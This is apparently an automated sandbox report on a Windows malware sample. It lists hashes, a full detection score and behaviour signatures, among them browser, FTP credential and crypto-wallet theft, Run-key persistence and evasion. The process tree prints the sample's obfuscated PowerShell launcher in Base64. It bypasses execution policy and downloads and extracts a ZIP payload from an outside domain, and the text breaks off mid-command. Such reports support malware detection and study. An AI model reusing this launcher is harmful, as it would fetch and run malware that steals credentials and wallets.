Edit tour
Windows
Analysis Report
iDvmIRCPBw.exe
Overview
General Information
Sample name: | iDvmIRCPBw.exerenamed because original name is a hash value |
Original sample name: | 2727565ebd6c05029050f5282f2942e10a67e3f141ad6a33e41062f038e59e3e.exe |
Analysis ID: | 1557221 |
MD5: | 95389166cd937c93d736c715b1a44178 |
SHA1: | 4d5b8a33a31a6c895e7c91f9f176709a1c6a3811 |
SHA256: | 2727565ebd6c05029050f5282f2942e10a67e3f141ad6a33e41062f038e59e3e |
Tags: | blacksmatter-liveexeuser-JAMESWT_MHT |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
AI detected suspicious sample
Bypasses PowerShell execution policy
Creates autostart registry keys with suspicious values (likely registry only malware)
Encrypted powershell cmdline option found
Powershell drops PE file
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: System File Execution Location Anomaly
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Binary contains a suspicious time stamp
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Uses taskkill to terminate processes
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- iDvmIRCPBw.exe (PID: 6952 cmdline:
"C:\Users\ user\Deskt op\iDvmIRC PBw.exe" MD5: 95389166CD937C93D736C715B1A44178) - conhost.exe (PID: 6972 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 4248 cmdline:
cmd.exe /c "@powersh ell.exe -N oProfile - ExecutionP olicy Bypa ss -Window Style Hidd en -Encode dCommand Q QBkAGQALQB UAHkAcABlA CAALQBBAHM AcwBlAG0AY gBsAHkATgB hAG0AZQAgA CcAUwB5AHM AdABlAG0AL gBJAE8ALgB DAG8AbQBwA HIAZQBzAHM AaQBvAG4AJ wAKAEEAZAB kAC0AVAB5A HAAZQAgAC0 AQQBzAHMAZ QBtAGIAbAB 5AE4AYQBtA GUAIAAnAFM AeQBzAHQAZ QBtAC4ASQB PAC4AQwBvA G0AcAByAGU AcwBzAGkAb wBuAC4ARgB pAGwAZQBTA HkAcwB0AGU AbQAnAAoAC gAjACAARAB lAGYAaQBuA GUAIAB0AGg AZQAgAFUAU gBMACAAZgB vAHIAIABkA G8AdwBuAGw AbwBhAGQAa QBuAGcAIAB 0AGgAZQAgA FoASQBQACA AZgBpAGwAZ QAKACQAdQB yAGwAIAA9A CAAJwBoAHQ AdABwAHMAO gAvAC8AYgB sAGEAYwBrA HMAbQBhAHQ AdABlAHIAL gBsAGkAdgB lAC8AcABpA G4AZQBhAHA AcABsAGUAL gB6AGkAcAA nAAoACgAjA CAARABlAGY AaQBuAGUAI AB0AGgAZQA gAHAAYQB0A GgAIABmAG8 AcgAgAHQAa ABlACAAdAB lAG0AcABvA HIAYQByAHk AIABkAGkAc gBlAGMAdAB vAHIAeQAgA GEAbgBkACA AWgBJAFAAI ABmAGkAbAB lAAoAJAB0A GUAbQBwAFA AYQB0AGgAI AA9ACAAWwB TAHkAcwB0A GUAbQAuAEk ATwAuAFAAY QB0AGgAXQA 6ADoARwBlA HQAVABlAG0 AcABQAGEAd ABoACgAKQA KACQAegBpA HAARgBpAGw AZQBQAGEAd ABoACAAPQA gAFsAUwB5A HMAdABlAG0 ALgBJAE8AL gBQAGEAdAB oAF0AOgA6A EMAbwBtAGI AaQBuAGUAK AAkAHQAZQB tAHAAUABhA HQAaAAsACA AJwBwAGkAb gBlAGEAcAB wAGwAZQAuA HoAaQBwACc AKQAKAAoAI wAgAEYAdQB uAGMAdABpA G8AbgAgAHQ AbwAgAGUAe AB0AHIAYQB jAHQAIABaA EkAUAAgAGY AaQBsAGUAC gBmAHUAbgB jAHQAaQBvA G4AIABFAHg AdAByAGEAY wB0AC0AWgB pAHAARgBpA GwAZQAgAHs ACgAgACAAI AAgAHAAYQB yAGEAbQAgA CgACgAgACA AIAAgACAAI AAgACAAWwB zAHQAcgBpA G4AZwBdACQ AegBpAHAAR gBpAGwAZQB QAGEAdABoA CwACgAgACA AIAAgACAAI AAgACAAWwB zAHQAcgBpA G4AZwBdACQ AZABlAHMAd ABpAG4AYQB 0AGkAbwBuA FAAYQB0AGg ACgAgACAAI AAgACkACgA gACAAIAAgA FsAUwB5AHM AdABlAG0AL gBJAE8ALgB DAG8AbQBwA HIAZQBzAHM AaQBvAG4AL gBaAGkAcAB GAGkAbABlA F0AOgA6AEU AeAB0AHIAY QBjAHQAVAB vAEQAaQByA GUAYwB0AG8 AcgB5ACgAJ AB6AGkAcAB GAGkAbABlA FAAYQB0AGg ALAAgACQAZ ABlAHMAdAB pAG4AYQB0A GkAbwBuAFA AYQB0AGgAK QAKAH0ACgA KACMAIABSA GUAbQBvAHY AZQAgAGUAe ABpAHMAdAB pAG4AZwAgA FoASQBQACA AZgBpAGwAZ QAgAGkAZgA gAGkAdAAgA GUAeABpAHM AdABzACAAa QBuACAAdAB lAG0AcAAKA GkAZgAgACg AVABlAHMAd AAtAFAAYQB 0AGgAIAAkA HoAaQBwAEY AaQBsAGUAU ABhAHQAaAA pACAAewAKA CAAIAAgACA AUgBlAG0Ab wB2AGUALQB JAHQAZQBtA CAAJAB6AGk AcABGAGkAb ABlAFAAYQB 0AGgAIAAtA EYAbwByAGM AZQAKAH0AC gAKAHQAcgB 5ACAAewAKA CAAIAAgACA AIwAgAEQAb wB3AG4AbAB vAGEAZAAgA HQAaABlACA AWgBJAFAAI ABmAGkAbAB lACAAdABvA CAAdABlAG0 AcAAgAGYAb wBsAGQAZQB yAAoAIAAgA CAAIABJAG4 AdgBvAGsAZ QAtAFcAZQB iAFIAZQBxA HUAZQBzAHQ AIAAtAFUAc gBpACAAJAB 1AHIAbAAgA C0ATwB1AHQ ARgBpAGwAZ QAgACQAegB pAHAARgBpA GwAZQBQAGE AdABoACAAL QBFAHIAcgB vAHIAQQBjA HQAaQBvAG4 AIABTAHQAb wBwAAoAIAA gACAAIAAKA CAAIAAgACA AIwAgAEMAc gBlAGEAdAB lACAAYQAgA G4AZQB3ACA AZgBvAGwAZ ABlAHIAIAB mAG8AcgAgA GUAeAB0AHI AYQBjAHQAa QBuAGcAIAB